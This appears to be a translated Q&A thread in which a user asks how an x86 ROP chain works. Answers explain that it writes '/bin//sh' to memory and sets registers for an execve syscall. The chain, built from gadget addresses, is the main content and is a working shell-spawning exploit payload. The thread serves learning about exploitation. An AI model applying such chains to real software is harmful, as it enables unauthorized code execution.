【问题标题】:Understanding a ROP gadget了解 ROP 小工具
【发布时间】:2017-07-06 19:32:09
【问题描述】:

我需要帮助来了解这个 ROP 小工具(如下所示)的工作原理。 我真的很困惑为什么这里需要 mov 和 pop 指令。

p = ""
p += pack('<I', 0x08139e7a) # pop edx ; ret
p += pack('<I', 0x081e0060) # @ .data
p += pack('<I', 0x080f3246) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08139e7a) # pop edx ; ret
p += pack('<I', 0x081e0064) # @ .data + 4
p += pack('<I', 0x080f3246) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08139e7a) # pop edx ; ret
p += pack('<I', 0x081e0068) # @ .data + 8
p += pack('<I', 0x08061150) # xor eax, eax ; ret
p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481f1) # pop ebx ; ret
p += pack('<I', 0x081e0060) # @ .data
p += pack('<I', 0x0819d91d) # pop ecx ; ret
p += pack('<I', 0x081e0068) # @ .data + 8
p += pack('<I', 0x08139e7a) # pop edx ; ret
p += pack('<I', 0x081e0068) # @ .data + 8
p += pack('<I', 0x08061150) # xor eax, eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x080f7a28) # inc eax ; ret
p += pack('<I', 0x0805726e) # int 0x80

【问题讨论】:

  • ROP 链在 ROP 启动时严重依赖于寄存器和内存的上下文(无论是堆栈、堆、模块位置等)。我们错过了这个背景。另外,为什么不尝试使用指向 0xCC(断点)的小工具来启动 ROP 链[或者只是在您的程序中应该启动漏洞利用时放置一个断点],然后使用调试器跟踪该链。您会立即看到链条中发生了什么。

标签: security assembly x86 buffer-overflow exploit


【解决方案1】:

如您所知,该链正在为execve 系统调用创建参数,该系统调用需要一个以零结尾的程序名称、一个以NULL 结尾的参数数组和一个以NULL 结尾的环境数组。要创建这些,您需要将一些值插入内存,并加载一些寄存器。原作者为此找到了一些有用的小工具。 mov dword ptr [edx], eax ; ret 允许您将任意 dword(应该在 eax 中)写入任意地址(应该在 edx 中)。要将值放入寄存器,可以使用 pop 小工具,因为您可以控制堆栈。

显然这不是唯一可行的方法,如果您找到其他 ROP 小工具,您可以制作不同的链。

【讨论】:

    猜你喜欢
    • 1970-01-01
    • 2013-11-14
    • 1970-01-01
    • 2014-03-16
    • 1970-01-01
    • 2012-06-09
    • 2017-05-30
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多